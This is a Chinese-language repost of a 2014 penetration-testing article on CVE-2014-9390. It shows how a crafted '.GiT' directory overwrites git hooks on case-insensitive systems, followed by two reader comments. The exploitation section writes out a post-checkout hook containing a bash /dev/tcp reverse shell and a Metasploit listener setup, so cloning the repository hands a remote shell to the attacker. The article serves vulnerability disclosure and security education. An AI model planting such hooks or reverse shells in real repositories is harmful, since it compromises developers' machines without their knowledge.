One git command may cause you hacked(CVE-2014-9390)

from:https://www.mehmetince.net/one-git-command-may-cause-you-hacked-cve-2014-9390-exploitation-for-shell/

0x00 背景


CVE-2014-9390是最近很火的一个漏洞,一个git命令就可能导致你被黑,我不打算深入探讨这个漏洞的细节,官方已经在https://github.com/blog/1938-git-client-vulnerability-announcedhttp://article.gmane.org/gmane.linux.kernel/1853266发布了详细信息。总之,如果你使用了大小写不敏感的操作系统例如Windows或OSX,你应该更新git客户端了。

让我们以渗透测试的角度来看看这个漏洞。

0x01 准备


我创建了一个命名为CVE-2014-9390的新项目。

enter image description here

建立一个.GiT(大些G,小写i然后大写T)目录,创建一个vulnerable.txt文件,然后push到项目中。

#!bash
[email protected]:~/cve-2014-9390# mkdir .GiT
[email protected]:~/cve-2014-9390# cd .GiT/
[email protected]:~/cve-2014-9390/.GiT# echo "Vulnerable" >> vulnerable.txt
[email protected]:~/cve-2014-9390/.GiT# cd ..
[email protected]:~/cve-2014-9390# git add .
[email protected]:~/cve-2014-9390# git commit -m 'poc'
[master bec157d] poc
1 file changed, 1 insertion(+)
create mode 100644 .GiT/vulnerable.txt
[email protected]:~/cve-2014-9390# git push

我们再从Windows的电脑上用存在漏洞的git客户端pull同一个项目看看

#!bash
[email protected] ~
$ git clone [email protected]:mehmet/cve-2014-9390.git
Cloning into 'cve-2014-9390'...
Enter passphrase for key '/c/Users/rootlab/.ssh/id_rsa':
remote: Counting objects: 7, done.
remote: Compressing objects: 100% (3/3), done.
remote: Total 7 (delta 0), reused 0 (delta 0)R
Receiving objects: 100% (7/7), done.
Checking connectivity... done.

给大家看一下.git目录,本应该在.GiT目录的vulnerable.txt也在这里

enter image description here

0x02 利用


什么是git的hooks

与许多其他版本控制系统类似,一些重要的动作发生时,git有一个方法来执行自定义的脚本。hooks分两方面:客户端和服务器端。当进行commit和merge时可以触发客户端的hooks。

当执行git命令如git pull和git checkout时就可以执行客户端的脚本。

如何实现git hooks?

重写.git/hooks目录下的一个脚本文件,然后执行他,我们可以通过这个漏洞来实现。

我们创建一个假的git目录然后建立一个叫post-checkout的文件。

#!bash
[email protected]:~/cve-2014-9390# mkdir .GiT/hooks
[email protected]:~/cve-2014-9390# echo '#!/bin/sh' > .GiT/hooks/post-checkout
[email protected]:~/cve-2014-9390# echo 'bash -i >& /dev/tcp/[IPADDRESS]/443 0>&1' >> .GiT/hooks/post-checkout
[email protected]:~/cve-2014-9390# git add .
[email protected]:~/cve-2014-9390# git commit -m 'add reverse connection payload'
[master 389c979] add powershell payload
1 file changed, 4 insertions(+)
create mode 100644 .GiT/hooks/post-checkout
[email protected]:~//cve-2014-9390# git push

我们在服务器端监听

#!bash
msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD generic/shell_reverse_tcp
msf exploit(handler) > set LPORT 443
msf exploit(handler) > set LHOST 108.61.164.142
msf exploit(handler) > exploit
[*] Started reverse handler on 108.61.164.142:443
[*] Starting the payload handler...

我们clone https://gitlab.com/mehmet/cve-2014-9390

enter image description here

看起来都是很正常,但是……

enter image description here

©乌云知识库版权所有 未经许可 禁止转载


30
mickey 2014-12-22 17:13:21

https://developer.atlassian.com/blog/2014/12/securing-your-git-server/

说的也不错

30
老妖 2014-12-22 14:10:32

威猛啊, 多谢共享

感谢知乎授权页面模版